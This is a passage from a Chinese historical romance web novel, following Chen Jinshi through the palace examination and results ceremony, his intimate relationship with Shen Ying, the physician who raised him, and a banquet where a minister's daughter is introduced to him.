张若菱没多问,眼角眉梢都透着欢喜:“方才礼部派人来递话,明日要验看贡士文书,锦时你可别误了时辰。” 陈锦时唇角带笑,身子往沈樱那处靠了靠,沈樱接过榜单查看,脸上也是掩不住的欢喜。 陈锦行从外面大步回来,脸上如何不是志得意满。 弟弟中了贡士,虽还未殿试,在官场上,不知多少人对他一改态度,从前的轻视都变成了巴结。 “挺好的,没白费这些年的苦读。”陈锦行刚踏进院门,目光便先落在陈锦时身上,快步走上前,抬手拍了拍他的肩。 目光扫过一旁的沈樱,笑意里多了几分温和:“方才路过西市,想着阿姆爱吃,捎了两盒枣泥糕回来。”说罢朝身后的小厮递了个眼色,小厮捧着两个油纸包赏钱。 张若菱也道:“我炖了银耳羹,你俩也喝一碗,补补精神。” 陈锦时跟着走进,见沈樱正帮着摆碗,忙上去帮忙。 一家人坐下,这才忙着查看礼部送来的文书册页。 案上摊着三张纸一张是资格复核的清单,列着户籍、家世、功名履历,需逐一核对盖印。 陈家家世清白,自没什么可说的,陈锦时在外也并无不妥名声。另一张是殿试礼仪流程,用朱笔圈着礼仪细则。 陈锦行道:“族谱我已让陈兴送去礼部了,倒是礼仪,你该多上些心。” 陈锦时懒懒从椅子上起身,学着册子上写的“趋步”,他平常最看不惯这些读书人的走姿,如今在读书人的走姿之上,还得加上一层卑躬屈膝的姿态。 若是站在太和殿外看文官背影,他们总是弓着腰背,却自带风骨,只是在陈锦时身上,虽俯身拱手,却仍能看出满身倨傲不屈,无人会认为,他真的屈服于龙椅上坐着那位。 兄长、嫂嫂、阿姆此时全都看着他,陈锦时心头烦躁,却仍是中规中矩做了一遍,他若是愿意,便没人能从这上面挑出错来。 第二日天没亮,陈锦行便带着陈锦时出去了。 沈樱也起得早,她守在药炉子前,要把陈锦时的药煎好。 张若菱过来帮忙,笑道:“我昨晚起夜,瞧见时哥儿屋里灯亮了半夜,想是在读书呢。” 沈樱搅着药炉的手一顿,昨夜……她在他屋中。 “他这几日心思都在殿试上,真是刻苦。” 近午时,陈锦时才跟着陈锦行回来,脸上带着几分倦意。 陈锦行在他身边絮絮叨叨:“李大人说了今年策论大概率会问农事,你多想想南北方种粮的差异。” 沈樱闻言笑道:“这个我倒是了解一些。” 陈锦时眼底漾起浅浅笑意,走到她身边,在桌下拉起她的手揉捏:“好啊,阿姆好好跟我说说。” 之后的几日,陈府门外来了两个身着青绿官服的小吏,捧着一卷黄绸册子,是专来教导陈锦时殿前礼仪的。 “陈贡士,您可得仔细学,后日陛下亲临保和殿监考,若跪奏时失了仪,可是大罪。” 陈锦时跟着跪了一整日,他顺从万分,做得自然尽善尽美。 沈樱远远看着他趴伏在地,面上张扬神采俱都收敛,不知怎的,莫名觉得陈锦时不是这样的人,不该做这样的事。 但他长大了,长大了与小时候不一样的,人都会成长,他会成为一位每日在皇宫内谨小慎微的文官。 可是,没办法呀,他无法成为像他父亲那样的武将,也无法终生籍籍无名。 事到如今,沈樱也只能为他感到高兴。 谢清樾也榜上有名,给沈樱递了信,殿试过后得了名次再来见她。 沈樱拿着谢清樾的手书,心里也并不感到为难,等他来了后,她只需要言明拒绝便好。 就算她不能嫁给陈锦时,也不可能留在京城里,嫁作谢三奶奶,这对陈锦时来说太残忍了,沈樱觉得自己不是那样坏的女人。 她最多只会离开他。 她忙着替他整理好明日要带的东西,从笔墨纸砚到衬袍靴子,一一检查了几遍,夜已深了。 她独自回到东厢房,西厢的灯也亮着,陈锦时还在看书。 她此前特地嘱咐过他,今晚要他好好歇息,此时瞧着他倒是听话。 她叹了声气,听话就好,陈锦时只要听话,就没什么不好的。 她推门进屋,暖黄的烛光里,陈锦时半靠在床头,身上只松松搭着件水绿衬袍,领口大敞,肩头的齿痕犹如他的功勋,他巴不得显露在最显眼的地方。 墨发散落,披散在她的枕上,他故作如此,公子如玉,微微抬身,水绿衬袍滑落少许,露出一截收得利落的腰线,做足引诱姿态。 沈樱脚步一顿,冷冷看他。 陈锦时声音带着几分沙哑:“阿姆,你怎么才回来,我等你许久了。” 沈樱缓步走进,俯视他,他拉起她的手,手掌轻轻覆在她手上,指尖带着薄茧,却格外轻柔,浑身都透着讨好。 他躺在她的床上,衣衫不整,头发梳过了,如同墨缎,身上是干净的,带有沐浴过后的香气。 沈樱神情淡漠,抽出手:“从我床上下来。” 陈锦时神色一慌,水绿衬袍彻底滑到腰际。 沈樱侧头冷冷打量,在宅子里捂了一整年,他肤色是玉石般的冷白,揉搓时会染上薄红,墨发垂落肩头,仔细看他,他的眉是远山一般的淡墨色,眼尾是微微上挑的,感到委屈时,瞳仁像浸在温水里,亮得让人发软,鼻梁高挺,唇瓣是淡粉色,嗓音温润。 他再次拉她的手,指尖微蜷,腕骨分明,手背上的淡青色血管隐约可见,连带着那截利落的腰线,壮实膨弹的胸肌,傲慢与周身矜贵揉在一起,更显得容貌夺目,让人移不开眼。 沈樱一直从头打量到脚,垂下眼:“殿试要紧,你该好好歇息,而非在这里做这些荒唐事。” 她好冷漠,好无动于衷。 “可没有你,我怎么睡得着?”他仰头望着她,眼底盛着细碎的光。 他伸手,轻轻碰了碰她垂在身侧的手,见她没躲开,胆子又大了些,指尖顺着她的手腕往上滑。 “你不必做些什么,只要我献身给你,我侍奉你便好。” 他另一只手慢慢撑起身子,凑到她耳边,温热的呼吸扫过她耳廓。 说话时,唇瓣偶尔擦过她的耳垂,气息缠缠绵绵地绕。 沈樱开始斜着眼看他,看他的作态。 陈锦时,你要是真的想,就凶一点吧。 他咬住她的耳垂,同时伴随着一声轻喘,攥她手腕的力道比先前重了几分。 沈樱猝不及防跌坐在床沿,他顺势俯身,一手撑在他身侧,将她困在两道臂弯之间。 水绿衬袍彻底滑落,露出光洁的脊背与线条硬朗的肩背。 他凑近她,嗓音带着几分压抑的沙哑:“阿姆,你是我的。” 湿热气息扫过她的肌肤,沈樱直视他,有些审视。他头往下埋,同时改口:“不,阿姆,是我,我是你的所有物。” 她终于松动,解开衣襟,抚着他的头颅,他尽心沉醉其中滚滚浪涛。 他的动作带着几分得逞的意味,他尽心享乐了一会儿,抬起头,吻上她的唇。 吻从唇瓣滑到颈侧,他问她:“我长大了,是不是?” 沈樱一怔,保持沉默,他更紧地抱着她。 “我是不是长成了你想要的那种男人?” 她被他托抱而起,陈锦时的臂膀十分有力,足以稳当牢固地将她托举。 沈樱也不是娇小女子,她被他抱得更高,他在床榻边坐下,眉目温顺,存在感极强的某处却高高耸起,她手臂轻轻抚过他肩头的齿痕,没有刻意撑起他的肩避开,避不开,换一种坐姿,也会从另一个方向打到她臀上。 “你只是长成了陈锦时该有的模样。” “可陈锦时是阿姆一手带大的,自然要尽数长成阿姆喜欢的模样。”他低头,鼻尖蹭过她的下颌。 沈樱偏过头,他的吻落在她颈窝,他抓起她的手:“阿姆想要陈锦时是什么样的,陈锦时就是什么样的,你喜欢吗?” 他托起她的腰,她撑着他的肩轻轻起来,力道微微发颤。他托着她腰的手稳得很,指腹贴着她的肌肤,带着滚烫的温度,连呼吸都裹着灼热的气息,喷在她颈间。 “喜欢吗?”他又问了一遍,声音比先前更低哑,带着几分执拗的期待,眼底的光亮得能映出她的模样。他另一只手轻轻抚过她的脊背,动作慢得像在描摹一件珍宝,从肩胛滑到腰侧,每一处触碰都带着小心翼翼的珍视。 他的睫毛很长,她无意识抓住他扣在她腰上的手,他顺势穿过她五指。 他承托着她,抬头吻她的唇角。 沈樱闭上眼,任由他抱着,任由他的吻落在自己的唇瓣、颈间、锁骨上。她松开手,抬手圈住他的脖颈,头也埋进去。 他的手便从她双臂内侧穿过,从背后扣住她的肩,两相执拗地贴近,辗动永远比大开大合更让人沉溺,更让人切身体会情意,密不可分的情意顺着脊柱一点点渗进她的感官。 她慢慢加深这个吻,舌尖撬开他的唇齿,手掌从肩上挪移到脖颈,再往上捧起他的头颅,揉捏他的耳廓。 直到她呼吸微乱,险些溢出喘声,他抬手捂住她的唇,声音沙哑得厉害。他轻轻拭去她唇角的水渍,紧紧将她的肩往下按:“沈樱,别离开我,一辈子都不要离开我。” 沈樱靠在他肩上,没出声,“嗯”的一声轻得像叹息。 卯时刚过,保和殿前的广场上已站满身着青衫的贡士。 陈锦时跟着人群站在队列中,身姿格外惹眼,他本就生得出众,只是从前在金陵,声名总被兄长盖过一头,到了京城,家世倒不显眼,越发无人知晓他这个人。 如今却是不一样了,他垂着眼,长睫在眼下投出浅淡阴影,遮住了眼底情绪,投出几分冷然。 待太监唱喏“贡士入殿”,他随队列上前。 他在这些人堆里,实在算年纪小的。 在这肃穆殿宇里,他有自己的模样。 队列顺着汉白玉台阶缓缓前移,殿内金砖铺地,龙椅高据于上,两侧的读卷官身着朝服,目光肃穆。 不多时,太监持黄罗伞盖引着皇帝从太和殿侧门而出,百官皆跪,贡士们也跟着鸿胪寺官的唱喏俯身。 礼毕后,贡士们按名次分入保和殿内,各就其位。案上早已按规制摆好玉版纸、兔毫笔、松烟墨,每案前还放着一盏灯台,因殿试需从辰时写到酉时,中途不得离席,灯台是为午后光线渐暗时备着的。 陈锦时刚坐定,就见翰林院编修捧着策论题册走来,题册用黄绫装裱,首页朱笔写着“问安攘之策”,下设三问:一为“南倭北虏之患如何荡平”,二为“漕运改折与民生利弊”,三为“边地屯田之法优劣”。 这题目与李大人预判的“农事”相去甚远,陈锦时却没慌乱,兄长找来的关系本就不靠谱。 他想起沈樱曾说过“老家漕运改折后,粮商囤积居奇,佃户们连糙米都吃不上”,“边军屯田多被将官侵占,兵士无粮可食”,指尖蘸墨时,便先从民生疾苦写起,再引《孙子兵法》“上兵伐谋”论御敌之策,避开了文人们常谈的空泛道义。 他定了定心神,笔尖开始往下落,满脑子都是她。 午后,殿内光线渐暗,贡士们纷纷点起灯台。陈锦时隐约想起很久远的,幼时父亲与他的闲聊,正写到“屯田之法当以‘军户自耕’代‘将官督耕’”,忽闻殿外传来“传膳”的唱喏。 按制,殿试中途皇帝会赐“光禄寺馔”,每人一碟蒸饼、一碗酥粥,不得过食。陈锦时接过小太监递来的食碟,只吃了半块蒸饼,便又提笔疾书。 酉时三刻,鸿胪寺官准时唱“交卷”。陈锦时将策论卷子折成四折,首页写上“应殿试举人臣陈锦时”,再按规制由内侍转呈读卷官。 读卷官由内阁首辅大学士、六部尚书共八人组成,需在文华殿公同评阅,按“优、良、中、差”分四等,再将前十名卷子呈皇帝御批。 待陈锦时跟着贡士们走出保和殿,夕阳已将殿檐的琉璃瓦染成金红色。 殿外一公公行了一礼:“按规矩,各位明日需在殿前听候传胪,今日请先回吧。” 陈锦时往外走去,陈锦行一直在午门外等他。递上一件夹袍:“如何?” 陈锦时接过夹袍,指尖仍是松烟墨的气味,往身上拢了拢,才觉出午后殿内的凉意已浸了满身。 他只问兄长:“阿姆如何了?” 陈锦行一怔。 才想起,阿姆早前说过,若是要走的话,大抵会在陈锦时殿试结束之后离开。 如今卷子已经呈上去,一切都尘埃落定,她若要走,便不必再顾忌陈锦时了。 陈锦时显然也有此预见,陈锦行有些诧异,陈锦时如今这般冷静。 他就不怕,那人真的走了吗。 陈锦行颔首:“她很好,在府里给你炖汤。” 陈锦时轻轻点头,没再问什么,两人并肩走在暮色里。 街面上的灯笼渐次亮起,陈锦时调侃道:“哥哥以后别乱找关系了,李大人说的题目,与考题差得十万八千里。” 陈锦行一愣,怔怔道:“李大人是内阁杨大学士的门生,怎会如此呢?” 陈锦时脚步轻快,耸耸肩:“谁知道呢,或许杨大学士也并未告诉他题目。” 陈锦行还在琢磨,陈锦时已快步拐过街角。 回到陈府时,院门如常虚掩着,廊下灯笼还没点。 陈锦时推门入院,先闻见灶间飘来的香味。 “哥哥说得对,咱们也是时候换个大宅子住了。” 他脚步放轻,往东厢房走,他已看见沈樱的身影映在窗纸上,她正弯腰整理着什么,手边堆着叠得整齐的衣袍。 他没出声,就站在廊下看,直到张若菱叫了声:“时哥儿回来啦,今日如何?” 沈樱才抬眼瞧见他:“回来了。” “阿姆,你今日怎么不来接我。” 沈樱笑道:“你哥哥想去接你,我给你炖了汤,我去盛一碗。” “不必急。”陈锦时伸手拉住她的手腕,攥得很紧,“我有话跟你说。” 沈樱的指尖动了动,没挣开,只垂着眼:“你想说什么?” “明日传胪,我想让你站在午门边上等我。”陈锦时看着她的发顶,声音放得很柔,“我出来第一眼,想看见你。” 沈樱的脊背僵了僵,好半天才轻轻“嗯”了一声。 她今天没走,明天自然也不会走。 陈锦时见她应了,唇角忍不住上扬,拉着她往灶间走:“我来盛汤。” 晚膳时分,门外有小 厮通传:“有楼烦来的信,给沈姑娘的。” 沈樱站起身:“应是我阿兄给我回信了。” 她面目欣喜,快步走出门,裙摆高高扬起,接过小厮递来的信封,拆信时指尖都在发颤。 陈锦时望着她出门,望着她拆信,望着她满心欢喜,忽然愣住了。 她阿兄的字迹写的歪歪扭扭,却显得格外真切:“都兰,今年咱们家的羊养得很肥,你阿嫂腌了肉干,本想等你回来吃,但得知你今春并不会归家,我们就先吃了,听说你们搬去京城了,那地方好,你便多待一段时日,什么时候想回了再回来……父亲很好,母亲也很好,你放心,一切有我……” 沈樱把信按在胸口,眼眶瞬间红了。 陈锦时犹豫了片刻,还是抬步上前。 沈樱咧嘴笑着,指尖反复摩挲着信件。 她转身往院里走,脚步带着轻快,刚拐过廊柱,一头撞在陈锦时胸膛上。 她抬眸,眼眶虽红,眼底却满是笑意。 陈锦时心底满是忐忑。 “阿姆……你家里说什么了?” “阿兄说今年家里的羊养得很肥!” 沈樱快步走进正厅,陈锦时跟在她身后,目光落在她手里拿着的那封信上。 他知道她想家了,也想草原和羊群了。 他头一次想着,自己凭什么要把她拘在陈府的宅院里。 但他从未强迫过她留下,也从未因她要走而闹过什么。 她生来自由,他知道的。 他只是会在深夜伏地祈求,祈求她看他可怜,如果可以的话,留下来,再多给他一些,随便什么都好。 沈樱把信往桌上一放,给陈锦时盛了碗汤,眼底的笑意亮得像草原的星星:“你怎么了?我瞧你心不在焉的。” 陈锦时接过汤碗,目光仍时不时扫过那封信。 “阿姆,你很想家吧。” 沈樱点头,目光注视着他:“嗯,想。” “那,那我……” 她笑着挑眉,把信递给陈锦时。 陈锦时展信查看,忽然抬眼,正撞进沈樱似笑非笑的眼眸。 第52章 他猛地抬头,沈樱眼底里满是纵容的笑意。 她说她不会走,至少,今春不会走。 陈锦时一把抓住她的手腕,力道大得她有些错愕。但她看得懂他眼底的狂喜,并且她喜欢他这样,她满足于他这样开心。 她一向都是很惯着他的。 张若菱瞥了眼信,也笑道:“不走就好,阿姆,我们都舍不得你走。” 沈樱被他抓疼了:“行了,只是暂时不走,陈锦时,若你不乖,我还是随时会走。” 陈锦时终于松开她,朝陈锦行道:“哥哥,明日咱们就去看新宅子。” 陈锦行脸上没什么表情,只淡淡点头:“也好,这宅子确实太狭窄了,更何况若菱已有身孕,咱们需要换一间大宅子。” 桌下,陈锦时指腹反复摩挲着沈樱的手背,添了几分小心翼翼,呼吸轻快了不少。 沈樱眼睛一亮:“若菱有身孕了?” 张若菱一边把手腕朝沈樱伸去,一边垂头含着羞意的笑:“他日日都那般闹,如何能不有呢?” 沈樱捏着张若菱的手腕查探,陈锦时闻言,朝她身上看了一眼。 沈樱不自在地垂眸,指尖搭在张若菱腕间,片刻后笑着点头:“你有福气,往后可得少操劳。” 她眼底满是真心的欢喜,张若菱应着。 陈锦时目光悄悄落在沈樱身上,手掌不自觉抚上了她的腰,心中难免五味杂陈。 沈樱察觉他的动作,没躲开,她身为医师,岂会不知日日给自己熬上避孕的汤药,陈锦时只怕没想过这些,她也不会告诉他,她单方面地决定喝药,与他无关,甚至,对他并不公平。 陈锦时的手掌贴在她腰上,带着温热的力道,指腹摩挲蹭着,游走着,捏着她的腰腹,坐下时,她的腰腹会凸出一块软肉,由他捏着。 沈樱对张若菱道:“明日起你别管家里事了,我来就行。” 张若菱眼底满是暖意:“阿姆,倒是又要劳累你了。” “都是一家人,不妨事。” 晚膳散后,沈樱回厢房整理药箱,门被轻轻推开。陈锦时走进来,手里捧着件衣裳,正是传胪日该穿的进士袍。 “阿姆,你帮我瞧瞧,这袍子我穿着合不合身?” 国子监刚把袍巾送来,哪里会不合身,不过是想找个由头来见她。 沈樱走过去,他把衣裳套上,她替他抻了抻肩头的褶皱,陈锦时盯着她的手,目光软下来,忽然伸手攥住她的手腕。 “沈樱,那些汤药,以后让我来喝吧。” 沈樱抽回手,垂着眼:“我自己配的药,不伤身,你不必担心什么,我也不用你做什么。” 陈锦时上前一步,轻轻握住她的胳膊:“这是我们共同的事情,你为何宁愿一个人承担?” 沈樱回头望他:“时哥儿,你是我的孩子。再说,我自己完全能承担这些事情。” 陈锦时捏住她手腕的力气更紧:“我不是了,我是你男人。”但他的表情看起来有些委屈。 沈樱撞进他认真的眼眸,忽然不知道该说什么了。 她不是喜欢依赖旁人的人,就算是吃避子药这样的事情,她也喜欢掌握在自己手里。 最令陈锦时心痛的是,她从不把他真正当做一个可以替她担事的男人。 见她松了姿态,他低头,额头轻轻抵着她的额头,声音里带着点恳求:“你叫我很伤心,很沮丧。” “为什么?” “我是不是,永远也比不上父亲。” 沈樱心里一惊,抬眸望他。 “那谢清樾呢?阿姆,你觉得他更像父亲吗?你觉得他会更可靠吗?” 沈樱冷静了片刻,推开他:“你明日还有要事,今日该早点歇息。” 陈锦时声音带着哽咽,额头抵着她的,眼底的光暗得吓人:“你不愿依赖我,是不是也怕我哪天连自己都护不住,更别提护你了?” “我不需要人护着,陈锦时。” 沈樱尽量使自己保持沉静,她对一个男人的评判,不在于对方能不能护着她。 可她看着他眼底的脆弱,心里一软。 陈锦时很可怜,他如今所走的路,并不是他想走的,沈樱对他说的话,看似安抚,实则是对他自尊的重创。 他并不是自愿成为现在这样的人的,也不是自愿被沈樱宣判“我不需要你为我遮风挡雨”。 “阿姆,你真的喜欢我吗?你对我的要求太少了,我可以做更多的事情。” “你为什么不多看看我呢?” “你多看看我吧,多看看我。”他说了许多,絮絮碎碎的。 “沈樱,你令我好难过。” 巴掌落得重,带着脆响。 陈锦时脸上瞬间浮现五指印,整个人僵在原地。 她打了他一巴掌,他被她扇了一下,泪珠子开始不要钱的往下掉。 他脊椎发麻,未尝不感到兴奋。 他捂着脸,受了疼,又凑上去,眼泪汪汪:“阿姆……” 沈樱的指尖还带着发麻的触感,她望着他可怜的模样,松了口:“我会配药给你吃。” 陈锦时的喉结滚了滚,眼底闪过一丝得逞的光。 翌日卯时,陈锦时跟着陈锦行往午门去。身上深蓝罗袍 按规制裁制,青罗缘袖,领襟缀素色绢边,腰间系青鞓革带,悬墨色挞尾。 靴底踏在青石板路上,发出沉闷的声响。 太和殿前的广场,百余名贡士按初拟名次站定,青衫连片如茵。 鸿胪寺的小吏正手持名册核对身份,陈锦时手中攥着槐木笏板。 辰时三刻,太和殿的终生准时响起,九声钟鸣响毕。 风卷旌旗,鸿胪寺的官员身着绯红盘领官服,鸿胪寺卿身着绯色盘领袍,胸缀鹭鸶补子,手持黄绫誊写的《登科录》,率属官自太和殿丹陛而下,身后锦衣卫校尉按刀随行,声传广场: “奉旨,宣永历二十年殿试贡士入殿听胪!” 贡士们按序入殿,陈锦时随队伍踏上汉白玉御道,靴底触到金砖的微凉透过布袜传来,这金砖需“敲之有声,断之无孔”,乃苏州窑专供,寻常官员终其一生难踏半步。 入殿后,众贡士按“东西两班”跪定。 “第一甲第一名,赵秉忠,赐进士及第!” “第一甲第二名,邵景尧,赐进士及第!” “第一甲第三名,何崇业,赐进士及第!” 鸿胪寺卿每念一名,便有锦衣卫校尉引该进士出列,至丹陛前行三跪九叩礼。 陈锦时屏息听着,待念至二甲时,语速稍快,直至“第二甲第七名,陈锦时,赐进士出身!”,他方才依礼叩首,心底并无多少动容。 “臣陈锦时,谢陛下恩典!” 他得了进士出身的身份,二甲进士需在传胪后三日内参加管选,通过者则入翰林院为庶吉士,未通过者则授六部主事、中书舍人或外放知县。 二甲前七名多授翰林院职,虽都是从七品的小官做起,却能入翰林院修史、拟诏,是近臣之途,比六部官职更显器重。 宣胪毕,皇帝驾返后宫,众进士需随礼部官员往国子监行“释菜礼”,祭拜孔子。 他越过人群望见沈樱时,她正立在石碑旁,着汉家女的月白襦裙,外罩浅青色比甲,手中竹编食盒上覆着蓝布帕子,盒里是新蒸的枣泥糕,还温着姜茶。 “阿姆。”陈锦时朝她走来,快步上前,接过温热的枣泥糕。 沈樱笑道:“二甲第七是极好的名次。” 两个并肩往回,他悄悄牵起她的手,在宽大进士袍之下,二人携手回家。 二人刚出皇城范围,便有几位同科的进士迎上来,为首的是二甲第三名的周姓进士,老远便拱手笑道:“陈兄,恭喜恭喜,你这名次进馆选十拿九稳,往后咱们便是翰林院同僚了!” 眼前几人,看样子都是二甲前七了,二甲前七加上一甲三名,都是皇上钦点的前十名次,至于后面的那些,便不算那么重要了。 沈樱松开陈锦时的手,好让他抬手回礼:“馆选还需看后续考核,不敢妄言。” 几人欲邀他晚上一同赴琼林宴,明日再一同赴杨大学士府拜谢座师。 周林笑着道:“陈兄太谦逊了,你策论里‘军户自耕解边屯之弊’的见解,我们都传看过了,后来才知,你原是陈将军的儿子。” 陈锦时随意谦逊了几句,言谈举止已看不出傲慢。 “既如此,酉时三刻咱们在礼部衙门前会合,可别迟了,我听说,杨大学士今晚也会到场。” 待这些人走远,陈锦时又攥住沈樱的手,指尖带着点温热:“阿姆,咱们先回家。” 两人往家走,步伐都比来时要慢些。 “晚上琼林宴,你该多重视些,我瞧他们都等不及四处结交了,你该跟着一起的……” 她虽不懂官场门道,却也知道陈锦时必要合群才行。 陈锦时点头:“嗯,我想再多陪陪你,晚上我知道该怎么做。” 沈樱被他拉着手,陈锦时还是那个陈锦时,但是…… 她抚着他掌心的薄茧,她都分不清哪些是握笔练字磨出来的,哪些又是练剑磨出来的,只知道那触感粗糙却温热。 她望着他侧脸,他脊背挺得笔直,浑身都透着股从前没有的沉稳。 她恍惚间觉得,自己不该再站在他身边了。 她绝不是妄自菲薄,而是,道不同…… 道不同,她站在他身边,她的模样,她的身份,一切都是那般违和。 他该与他的同窗和同僚一样,娶世家贵女为妻,他身边该站着那样的一位女子。 沈樱身边,大抵,也不该站着他。 但是他穿着官袍,她穿着并不十分适合她的汉家衣裙,他们仍然牵着手。 “在想什么?”陈锦时察觉到她的目光,转头看她,眼底带着点笑意,看得出他心情极好,“是不是觉得我今日没给你丢脸?阿姆,我答应你的事情,我全都做到了,我站到了金銮殿上。” 并且,他会告知所有人,他站到此处,绝离不开她的照拂,她是他人生中最重要的人。 沈樱忍不住笑了:“是,你都做到了。” “那你今晚给陈锦时什么奖励?”他凑近她耳边说道。 沈樱脸一红,张不了口。 他又道:“陈锦时不值得你的奖励吗?若是不值得,你值得,阿姆,今晚让陈锦时献身给你吧,陈锦时要奖励你。” 沈樱被他贴在耳边的话烫得耳尖发红,连忙抽回手,往巷口快走了两步,被陈锦时快步追上,重新攥住手腕。 他的掌心温热,力道不容挣脱,眼底却满是笑意,连眉梢都透着少年人的张扬:“阿姆,今晚就劳烦你帮我熬一碗汤药。” “知道了。”她轻声应着,声音细得像风,陈锦时好不容易才捕捉到。 琼林宴设在礼部官署后的园林中,暮色四合时,红灯笼已挂满廊下,映得满庭花木暖红争春。 陈锦时随周林等人踏入园门,方见谢清樾已在此。 谢清樾位列三甲,大约在十七的名次,也是同科进士中的佼佼者,但他却比陈锦时要风光多了。 隔得远远的,周林便私下同陈锦时道:“瞧见没,谢三公子何等人物,去年才在北境立了功,今春就被圣上赐了进士出身。” 谢清樾立在廊下,玄色锦袍镶着金线,瞧着华贵万分,腰间悬着的白玉佩也是称得上来头的。他正与几位身着官袍的京官谈笑,左手随意搭在腰间佩剑上,每说一句,周围便有人附和。 就算是杨首辅来了,高高在上俯视众学生,也要朝谢清樾微微颔首,问问他家老爷子身体如何了。 陈锦时顺着那些目光望过去,周林在他耳边滔滔不绝,他淡淡瞥了对方一眼,看得出来,周林出身不高,或是,某个大家族里向来不受重视的庶子。 陈锦时自认出身不算高,尤其是到了京城这样的地方,可他既厌恶同周林那般扬起一张谄媚的脸四处游走,也厌恶自己什么也算不上的傲慢姿态。 很多事情令他感到矛盾,他不知道是他这个人天生就有问题,还是单纯不适合这里。 他从小就自视甚高,习惯了赢就是赢,输就是输,想要的东西就明目张胆地抢,其余一切他都堪称,瞧不上。 谢清樾朝他走来,他端起桌上的酒,浅酌了一口。酒液清冽,入喉微辣,他眼底沉静,朝谢清樾举杯:“谢兄,恭喜。” 后来周林得知谢清樾是陈锦时父亲的徒弟,沮丧了好一会儿,若是他有这样的人脉,早就…… 谢清樾朝陈锦时真心恭贺:“你也是,你跟我过来,我有位老师想见见你。” 陈锦时颔首,跟随谢清樾过去。 谢清樾引着陈锦时往东侧花厅走,刚转过月洞门,便见廊下立着几位身着绫罗的女眷,皆是梳着精致的发髻,簪着珠玉钗环。 为首的夫人穿着石青色绣暗纹的褙子,气度雍容,见谢清樾过来,便笑着开口:“清樾,这位便是你师父家的孩子?” “师母,正是陈锦时。”谢清樾拱手行礼,又侧身对陈锦时道,“这是杨大学士的夫人,旁边几位是府里的小姐。” 陈锦时忙回了礼。 杨夫人道:“不必多礼,清樾之前给我带了丸药,我吃了很是好使,听说便是你家那位沈医师所配,有机会我倒要谢过她一回。” 谢清樾在一旁解释:“陈兄弟幼时身体不好,我师父便从楼烦请了一位医师在他身边跟着,替他调理,沈医师医术很是不错。” 陈锦时闻言,手指微微蜷起,随即抬眸笑道:“阿姆只是做了分内之事,师母不必客气。” 杨夫人这才转身过来直视陈锦时:“我听说,她待你不只是身为医师之责,更有教养之恩,怪不得你如此敬重她,你是个好孩子。” 谢清樾接话:“是,陈家兄弟的孝心,在金陵是一段佳话。” 说着,谢清樾正朝陈锦时微微的笑。 陈锦时面色尽力做到沉静,他沉声道:“阿姆于我,恩同再造。” 杨夫人瞥了谢清樾一眼,轻咳了一声:“如此说来,我更要前去拜访一番了,先不说她的药我吃了极好,也不枉清樾向我提了许多次。” 说着,她引出身后一位女儿,闺名杨芷薇,笑着道:“五姑娘,你不是总想找位品性端正的兄长做榜样吗?陈二公子这般重情重义,你们何不结识一番?孝心可是最难得,也最高贵的品性了。” 杨芷薇年方十七,并不比陈锦时小多少岁数,她鬓边簪着两朵浅粉珠花,未梳繁复发髻,脖颈纤长,亭亭玉立。 身上穿的是烟霞色绣折枝海棠的褙子,领口袖口滚着银线,下搭月白绫裙,装扮雅致。 这处地方,这些女眷,却不是今日人人都能见的了,陈锦时起初不明白谢清樾为何要带他来此,在此女出现后,他却忽然明了。 “陈二公子安好。” 陈锦时回礼时,恰与她抬眸对视,她眼底不可能带着什么谄媚讨好,却也无半分羞怯躲闪,反倒带着几分探究的清明,像是在认真打量他这个人。 陈锦时不知道自己该作何反应,他好像该,故意做出会另对方厌恶的形态。 陈锦时不喜欢这个地方,自然也装不出任何。 难道像从前一样,当场做出不给任何人留脸面的行为? 托沈樱的教导,他已经不是那样的人了。 杨夫人笑着拉过杨芷薇的手:“五姑娘自小就爱读史,前几日还在跟我念叨,说今科策论里,有篇‘军户自耕’写得务实,今日见了作者,可得好好跟陈公子讨教讨教。” 杨芷薇顺势接话,语气从容:“陈公子策论里提到‘屯卫营兼顾戍边与耕作’,小女有个疑问,边地气候恶劣,春耕常受蛮族滋扰,若按此策推行,如何保障军户的耕作时间?” 她不是随意找些无意义话题的女子,也不是允许对方能够敷衍她的女子。 一般的男子,也不认为有必要向一名女子认真阐述一篇策论里的内容,抑或是,随意说些什么,认为反正对方也不过是问问,听不懂更深的。 只是恰好,陈锦时不是那样的人,他虽傲慢,却不将这种傲慢体现在女子面前。 他认真答道:“我曾听我父亲说起过,当地军户可用轮守制,一半人耕作时,另一半人沿屯田外设岗哨,遇蛮族小股来犯便鸣哨预警,若遇大股来犯,再全员集结。此法虽需额外耗损人力,却能最大程度保障春耕。” 杨芷薇听得仔细,又追问:“那粮草是如何存储呢?边地冬季漫长,若秋收不足,军户岂非要挨饿?” “在下在策论末尾提过‘官仓代储’,军户秋收后,按人头留足口粮,剩余粮食由官府粮仓代为存储,冬季按需求发放,既防霉变,也能避免蛮族劫掠时损失过重。” 两人一问一答,一时倒不经意间聊了许久。 杨芷薇像是才察觉自己问得太久了一般,淡淡笑道:“多谢陈公子解惑,小女受教了。” 杨芷薇自小跟在父亲身边长大,别说他策论里的东西,偶尔还会就史书里的治边案例与对方讨论,从汉时的屯垦制到本朝的卫所制,条理清晰,引经据典却不迂腐。 她身上并没有太多“她是一位女子”的表现,以至于陈锦时不经意间放下戒心。 谢清樾淡淡扫过一眼,对杨夫人说道:“锦时也算是我看着长大的,知根知底的男子,本也有一身武艺,堪称文武双全……” 杨夫人面上似笑非笑:“我从不妨碍我女儿结交京中她看得上眼的公子,在她父亲的书房内,她不知见了多少,他们男人之间的谈话,芷薇也从不避讳,她见识多,眼光也高,这位从金陵来的陈二公子,未必能入她眼。” 谢清樾颔首:“芷薇不是一般女子,是该多见一些人,多认识一人也不是坏处。” 两人从头至尾,也没有想过陈锦时能不能瞧上杨五姑娘。 像这样的问题,几乎不需要质疑。 没有哪一科的进士,能抗得过这天大的好处。 正说着,陈锦时已从这里出去,杨芷薇往里间走来,谢清樾问她如何。 “谢大哥说笑了,结识陈公子算是一件幸事,小女与他聊了几句,倒受益匪浅。陈公子不是纸上谈兵之人。只是可惜,他究竟患了什么隐疾?” 谢清樾一怔,没想到芷薇对陈锦时的评价竟这样高。 他沉吟片刻才道:“他自出生起便有喘症,幼时冬日常犯,这些年得沈医师调理已经好多了,只是根还未去,这才下场科举,否则他应当会像他父亲一样做武将。” 